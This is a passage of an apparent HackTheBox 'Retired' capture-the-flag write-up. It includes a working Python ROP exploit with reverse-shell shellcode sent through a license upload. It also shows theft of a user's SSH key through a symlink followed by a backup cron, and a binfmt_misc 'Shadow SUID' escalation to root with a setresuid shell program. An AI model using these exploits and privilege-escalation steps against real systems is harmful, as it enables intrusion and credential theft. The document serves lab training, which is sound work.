According the the mprotect man page, it takes three parameters:

int mprotect(void *addr, size_t len, int prot);

This means I’ll need to populate RDI, RSI, and RDX.

I’ll use Ropper (pip install ropper) to find all three in the I downloaded from Retired:

oxdf@hacky$ ropper -f --search "pop rdi"
0x0000000000026796: pop rdi; ret;
oxdf@hacky$ ropper -f --search "pop rsi"
0x000000000002890f: pop rsi; ret; 
oxdf@hacky$ ropper -f --search "pop rdx"
0x00000000000cb1cd: pop rdx; ret; 

jmp RSP

Once I call mprotect, I’ll want to jump back onto the stack to execute shellcode. Unfortunately, there’s no JMP RSP gadget in or activate_license. Fortunately, there are other libraries in use by activate_license. When I download and check, ropper finds a gadget:

oxdf@hacky$ ropper -f --search "jmp rsp"
0x00000000000d431d: jmp rsp;

I’ll need to make sure to have the address at which that library is loaded in memory from the maps file above as well.


I’ll use msfvenom to generate the shellcode. I’m going to add the IP and port dynamically, so I’ll use the IP (\x12\x34\x56\x78) and the port 56814 (\xdd\xee) so they are easily spotted in the resulting bytes:


Python Script

I would love to generate a really slick Python script that manages fetching all the addresses and returns a shell, but for now, I’m going with a quick and dirty version that has addresses hardcoded at the top.

#!/usr/bin/env python3

import requests
import socket
import struct

# Read from maps file
libc_base = 0x7f4888944000
libsql_base = 0x7f4888b09000
stack_start = 0x7ffe99226000
stack_end = 0x7ffe99247000

# Configure targets / attack IPs / port
REV_PORT = 443
REV_IP = ""
PORT_IP = struct.pack("!H", REV_PORT) + socket.inet_aton(REV_IP)
URL = f'http://{TARGET_IP}/activate_license.php'

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT
sc  = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
sc += b"\x97\x48\xb9\x02\x00" + PORT_IP + b"\x51\x48"
sc += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
sc += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
sc += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
sc += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

def p64(num):
    return struct.pack("<Q", num)

# ROP Addresses
mprotect = p64(libc_base + 0xf8c20)   # readelf -s | grep " mprotect"
pop_rdi  = p64(libc_base + 0x26796)   # ropper -f --search "pop rdi"
pop_rsi  = p64(libc_base + 0x2890f)   # ropper -f --search "pop rsi"
pop_rdx  = p64(libc_base + 0xcb1cd)   # ropper -f --search "pop rdx"
jmp_rsp  = p64(libsql_base + 0xd431d) # ropper -f --search "jmp rsp"
stack_size = stack_end - stack_start

buf  = b'A' * 520                     # get to ret address
buf += pop_rdi + p64(stack_start)     # RDI = memory to change
buf += pop_rsi + p64(stack_size)      # RSI = length of memory
buf += pop_rdx + p64(7)               # RDX = permissions; 7 = rwx
buf += mprotect                       # call mprotect
buf += jmp_rsp                        # jmp to stack
buf += sc                             # rev shell

# send exploit via license file upload
resp =, files = {'licensefile': buf })


Running python returns a shell:


The shell from this shellcode doesn’t show a prompt, so it’s important to have the -v in the nc so it reports the connection. I’ll upgrade with the script shell upgrade:

oxdf@hacky$ nc -lnvp 443                                               
Listening on 443
Connection received on 45236
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@retired:/var/www$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen
www-data@retired:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as dev



There’s one user with a home directory on the box, dev:

www-data@retired:/var/www$ ls -l /home/
total 4
drwx------ 6 dev dev 4096 Mar 11 14:36 dev

www-data has no access, but that’s where I’ll find user.txt.


The shell connects back running from /var/www. In this directory, there are some interesting files:

www-data@retired:/var/www$ ls  license.sqlite  html

Every minute, a new file seems to be created, and the oldest one is deleted:

www-data@retired:/var/www$ ls  license.sqlite  html

There must be a cron doing this. I’ll find the file using grep:

www-data@retired:/var/www$ grep -r '\' / 2>/dev/null        
/usr/bin/webbackup:DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)"

While this command takes a couple minutes to complete, it finds the file in only a few seconds.

I’ll also note that the backups are owned by dev, which suggests the cron runs as dev.


This file is a Bash script:

www-data@retired:/var/www$ file /usr/bin/webbackup
/usr/bin/webbackup: Bourne-Again shell script, ASCII text executable

It starts with the shebang and uses set to make Bash behave a bit more rationally:

set -euf -o pipefail

From the man page (this is not important to understand to solve Retired, but worth learning anyway):

  • -e - Exit on any failed command
  • -u - consider unset variables an error
  • -f - disable globbing (using wildcards like * in filenames)
  • -o pipefail - if any command in a pipeline fails (has a non-zero return), the last non-zero return is the return for the entire line

Then it changes into /var/www, defines SRC and DST, removes SRC, and generates it using zip:

cd /var/www/

DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

The DST is the time-based filename observed earlier. I’m not completely sure why it’s removed first, but it seems like an abundance of caution. --recurse-paths just makes this zip recursive, getting all folders and files in SRC.

Finally, there’s a loop to remove old backups:

/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"

This loop gets all the .zip files in /var/www, sorts them, and then loops over them, each time decrementing $KEEP, which is initialized to 10 before the loop. If $KEEP is less than 0, it will delete the file, effectively keeping the most recent 11 files.

It’s a bit odd that I only see the most three (sometimes four) backups (I’ll go into this in Beyond Root).

Backup /home/dev

zip has an option, -y or --symlinks which:

For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

That suggests the default behavior is to follow symlinks and put the files they point to into the zip directly. I’ll abuse this by adding a symlink to /home/dev to /var/www/html:

www-data@retired:/var/www/html$ ln -s /home/dev/ .0xdf

The next time the cron runs, the backup is bigger:

www-data@retired:/var/www$ ls -l
total 2032
-rw-r--r-- 1 dev      www-data 505153 Jul 31 10:54
-rw-r--r-- 1 dev      www-data 505153 Jul 31 10:55
-rw-r--r-- 1 dev      www-data 505153 Jul 31 10:56
-rw-r--r-- 1 dev      www-data 529771 Jul 31 10:57
drwxrwsrwx 5 www-data www-data   4096 Jul 31 10:56 html
-rw-r--r-- 1 www-data www-data  20480 Jul 30 09:51 license.sqlite

I’ll extract the backup into /dev/shm:

www-data@retired:/var/www$ unzip -d /dev/shm/

And dev’s homedir is there:

www-data@retired:/dev/shm/var/www/html/.0xdf$ ls -la
total 12
drwx------ 6 www-data www-data  180 Mar 11 14:36 .
drwxrwxrwx 6 www-data www-data  200 Jul 31 10:56 ..
-rw------- 1 www-data www-data  220 Aug  4  2021 .bash_logout
-rw------- 1 www-data www-data 3526 Aug  4  2021 .bashrc
drwxr-xr-x 3 www-data www-data   60 Mar 11 14:36 .local
-rw------- 1 www-data www-data  807 Aug  4  2021 .profile
drwx------ 2 www-data www-data  100 Mar 11 14:36 .ssh
drwx------ 2 www-data www-data  120 Mar 11 14:36 activate_license
drwx------ 3 www-data www-data  180 Mar 11 14:36 emuemu

Including an SSH key pair:

www-data@retired:/dev/shm/var/www/html/.0xdf$ ls  .ssh/  
authorized_keys  id_rsa


I’ll save the key and use it to get a shell as dev:

oxdf@hacky$ ssh -i ~/keys/retired-dev dev@
Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64

Shell as root


Home Directory

There are two folders in dev’s homedir:

dev@retired:~$ ls
activate_license  emuemu  user.txt

activate_license is the software I already exploited to get a foothold. The source is here, as well as a compiled binary, and a Makefile:

dev@retired:~/activate_license$ ls
Makefile  activate_license  activate_license.c  activate_license.service

Makefile can be interesting because it shows how the binary is compiled:

CC     := gcc
CFLAGS := -g -std=c99 -Wall -Werror -Wextra -Wpedantic \
                   -Wconversion -Wsign-conversion \
                   -fno-stack-protector \
                   -m64 -pie -fPIE -fPIC \
                   -Wl,-z,noexecstack \
LDLIBS := -lsqlite3

SOURCE := activate_license.c

install: $(TARGET)
        install --mode 0755 $^ /usr/bin/
        install --mode 0644 $^.service /usr/lib/systemd/system
        systemctl daemon-reload
        systemctl enable --now $^.service

        rm -f -- $(TARGET)

But not much interesting here.


emuemu is a different project that was mentioned on the website. It has a few files:

dev@retired:~/emuemu$ find . -type f

The describes the project:

EMUEMU is the official software emulator for the handheld console OSTRICH.

After installation with `make install`, OSTRICH ROMs can be simply executed from the terminal.
For example the ROM named `rom` can be run with `./rom`.

emuemu doesn’t currently do anything:

#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;

reg_helper is a wrapper that takes from standard in and writes to /proc/sys/fs/binfmt_misc/register:

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
    if (close(fd) == -1)

    return 0;

The Makefile with the install directive compiles reg_helper and installs it to /usr/lib/emuemu/reg_helper, and then sets the cap_dac_override capabilities on it, before using it to register Ostrich ROMs (I’ll detail that syntax next):

CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)

.PHONY: install clean

install: $(TARGETS)
        @echo "[+] Installing program files"
        install --mode 0755 emuemu /usr/bin/
        mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
        install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
        setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

        @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
        echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
                | tee /usr/lib/binfmt.d/emuemu.conf \
                | /usr/lib/emuemu/reg_helper

        rm -f -- $(TARGETS)

This clearly has to be run as root, as it’s assigning capabilities to a binary. cap_dac_override (from the capabilities man page) allows:

Bypass file read, write, and execute permission checks.
(DAC is an abbreviation of "discretionary access

That capability is set on the file on Retired:

dev@retired:~$ /usr/sbin/getcap /usr/lib/emuemu/reg_helper 
/usr/lib/emuemu/reg_helper cap_dac_override=ep

So reg_helper can read and write any file it wants.

Abuse binfmt_misc

binfmt_misc Background

Miscellaneous Binary Format (or binfmt_misc) is a way to register certain file types with a program to run them. Each mapping takes either a file extension or magic bytes and an interpreter, and then whenever a file is invoked with ./file, if it matches that pattern, it will be passed to that interpreter.

This serves a similar purpose to a shebang at the top of a script file.

binfmt_misc is managed from /proc/sys/fs/binfmt_misc. There are two files in that folder by default, register and status. The interface to create a new association is to write to register using a specific format, defined as:

  • name - the name of the binary format
  • type - either E for extension or M for magic
  • offset - number of bytes to scan to look for magic bytes (ignored for E)
  • magic - either the extension or the magic bytes signature
  • mask - a bitmask to define which bits to match on (ignored for E)
  • interpreter - the program that will run with the matching file as an argument
  • flags
    • P - leave argv[0] as the original file name
    • O - open the file and pass the file handle instead of the filename
    • C - set the process credentials based on the program rather than the interpreter (for SetUID)
    • F - make the kernel open the binary at config rather than at startup (to be available in mount namespaces and chroots as well).

EMUEMU Mapping

Looking at the Makefile, the string :EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu: was passed. So it will be:

  • name - EMUEMU
  • using magic bytes
  • no offset
  • signature of \x13\x37OSTRICH\x00ROM\x00
  • no mask
  • interpreter of /usr/bin/emuemu

The EMUEMU file stores these configurations:

dev@retired:/proc/sys/fs/binfmt_misc$ cat EMUEMU 
interpreter /usr/bin/emuemu
offset 0
magic 13374f53545249434800524f4d00

The example ROM file matches this siguature:

dev@retired:~/emuemu$ cat test/examplerom  | xxd
00000000: 1337 4f53 5452 4943 4800 524f 4d00 0a74  .7OSTRICH.ROM..t
00000010: 6869 7320 6973 2061 206d 696e 696d 616c  his is a minimal
00000020: 2072 6f6d 2077 6974 6820 6120 7661 6c69   rom with a vali
00000030: 6420 6669 6c65 2074 7970 6520 7369 676e  d file type sign
00000040: 6174 7572 650a                           ature.

When I run it, it runs emuemu:

dev@retired:~/emuemu$ test/examplerom 
EMUEMU is still under development.
dev@retired:~/emuemu$ ./emuemu 
EMUEMU is still under development.

In theory once emuemu is more mature, it will read the ROM file and act based on it. But for now, it just prints.

Exploitation Strategy

There are a few resources that show how to exploit this.

  • This YouTube video from HITB 2021 includes a section on abusing binfmt_misc, but for more complex situations (container breakouts).
  • SentinelOne has two blog posts about this technique, which they call “Shadow SUID”. The first lays out how this works. The second goes into exploiting it.

The idea is that we are going to use the C flag, to pull credentials from the program, not the interpreter. That means if I manage to run a SetUID binary, then I will get root privs and our handler running it.

I’ll need:

  • an interpreter that gives a shell
  • a rule that matches on a SetUID binary and calls my interpreter, with the C flag


I’ll create a simple C program that creates a Bash shell as root:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 0;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;

There are lots of variations on this that work, but this one will work in the most cases, as I discussed in a longer breakdown.

I’ll compile that on Retired:

dev@retired:/dev/shm$ gcc -o 0xdf 0xdf.c 

Shell via Magic Match

I’ll show two ways to get a matching signature. The first (as shown in the SentinelOne post) is what’s in the blog post, using magic to match the initial bytes of the target file.

I need any SetUID binary:

dev@retired:/dev/shm$ find / -perm -4000 2>/dev/null

newgrp seems reasonable.

I’ll create that pattern using xxd, head, and sed:

dev@retired:/dev/shm$ cat /usr/bin/newgrp | xxd -p | head -1 | sed 's/\(..\)/\\x\1/g'

The registration still now gets passed to /usr/lib/emuemu/reg_helper:

dev@retired:/dev/shm$ echo ':0xdf:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\xd0\x47\x00\x00\x00\x00::/dev/shm/0xdf:C' | /usr/lib/emuemu/reg_helper

That breaks down to:

  • name - 0xdf (arbitrary)
  • using magic bytes
  • no offset
  • signature that matches the first 30 bytes of newgrp
  • no mask
  • interpreter of /dev/shm/0xdf
  • C flag

It works:

dev@retired:/dev/shm$ cat /proc/sys/fs/binfmt_misc/0xdf 
interpreter /dev/shm/0xdf
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000d04700000000

Now running newgrp returns a root shell:

dev@retired:/dev/shm$ newgrp

That’s because the start of newgrp matches the magic signature for the 0xdf rule. So binfmt_misc calls /dev/shm/0xdf newgrp, and does it as root because newgrp is SetUID and the rule has the C flag. /dev/shm/0xdf doesn’t care about newgrep, but rather just calls Bash, returning a shell.

I can grab root.txt:

root@retired:/root# cat root.txt

I can clean up that registration by sending -1 into that file:

root@retired:/dev/shm# echo -1 > /proc/sys/fs/binfmt_misc/0xdf  
root@retired:/dev/shm# ls /proc/sys/fs/binfmt_misc/    
EMUEMU  register  status

Shell via Extension Match

Instead of a binary match, I can do an extension match, because of how binfmt_misc handles symlinks.

I’ll create a link to any SetUID binary (I’ll use newgrp again):

dev@retired:/dev/shm$ ln -vs /usr/bin/newgrp 0xdf.sploit
'0xdf.sploit' -> '/usr/bin/newgrp'

Now I’ll register the .sploit (again, could be anything, as long as it matches the symlink) extension to my handler:

dev@retired:/dev/shm$ echo ':sploit:E::sploit::/dev/shm/0xdf:C' | /usr/lib/emuemu/reg_helper

That breaks down to:

  • name - sploit (arbitrary)
  • using extension
  • no offset (ignored for extension)
  • extension of .sploit
  • no mask (ignore for extension)
  • interpreter of /dev/shm/0xdf
  • C flag

That generates the mapping:

dev@retired:/dev/shm$ cat /proc/sys/fs/binfmt_misc/sploit 
interpreter /dev/shm/0xdf
flags: OC
extension .sploit

Now running ./0xdf.sploit will be caught by binfmt_misc, call the /dev/shm/0xdf handler with the permissions of newgrp, returning a root shell:

dev@retired:/dev/shm$ ./0xdf.sploit 

Beyond Root


I spent a bit of time trying to figure out why the /proc/sched_debug file is present on Retired and not on my local Ubuntu Mate VM or Ubuntu host. I am not exactly sure that I figured it out, but would love feedback if you know.

This StackOverflow post is what first alerted me to the /proc/sched_debug file, but when it wasn’t on any of my local systems, I went a different direction. Still, it is on Retired.

There’s not a ton of documentation about this file, but it seems to be generated based on the kernel being compiled with CONFIG_SCHED_DEBUG=y option (according to

The kernel typically installs a /boot/config-$version file, and the one on Retired does have the option:

dev@retired:/$ uname -a
Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64 GNU/Linux
dev@retired:/$ cat /boot/config-5.10.0-11-amd64  | grep CONFIG_SCHED_DEBUG
dev@retired:/$ ls -l /proc/sched_debug
-r--r--r-- 1 root root 0 Jul  1 21:25 /proc/sched_debug

But, strangely, my VM also has it set:

oxdf@hacky$ uname -a
Linux hacky 5.15.0-41-generic #44~20.04.1-Ubuntu SMP Fri Jun 24 13:27:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
oxdf@hacky$ cat /boot/config-5.15.0-41-generic | grep CONFIG_SCHED_DEBUG
oxdf@hacky$ ls -l /proc/sched_debug
ls: cannot access '/proc/sched_debug': No such file or directory

I can’t really explain this, but if you can, hit me up on Twitter or Discord.


Diving into the Script

The webbackup script has this loop at the end that seems to imply that it would keep up to 11 backups. And yet, I never see more than three or four backups:

dev@retired:/var/www$ ls  html  license.sqlite

I spent too much time trying to understand what I wasn’t seeing in the script. One useful trick was to add an echo "$backup:$KEEP" to the loop just before it decrements $KEEP to watch it work, and to add -q to zip to keep a ton of garbage from printing.

set -euf -o pipefail

cd /var/www/

DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip -q --recurse-paths "$DST" "$SRC"

/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        echo "$backup:$KEEP"

l’ll run it without waiting for the cron, and I am able to make more:

root@retired:/var/www# webbackup       
root@retired:/var/www# webbackup        
root@retired:/var/www# webbackup

I can get to 11 as well:

root@retired:/var/www# webbackup 

But not more ( was deleted):

root@retired:/var/www# webbackup 

A few minutes later, it was back to three:

root@retired:/var/www# ls  html  license.sqlite


Turns out there’s a cleanup script running as root on a cron:

root@retired:/var/www# crontab -l
# m h  dom mon dow   command
* * * * * sleep 15; /root/

It waits til 15 seconds after the minute, and runs /root/

/usr/bin/find /var/www/html/ -type l -exec rm -r {} \;
/usr/bin/find /var/www/ -mmin +3 -type f -name "20*" -exec rm {} \;

This script uses two find commands to cleanup. First, it finds any link files (-type l), and uses the -exec option to remove them.

The second command finds all files (-type f) older than three minutes (-mmin +3) and removes them using -exec as well.

This explains why I see four files when the script first runs, then three 15 seconds later when the cleanup runs.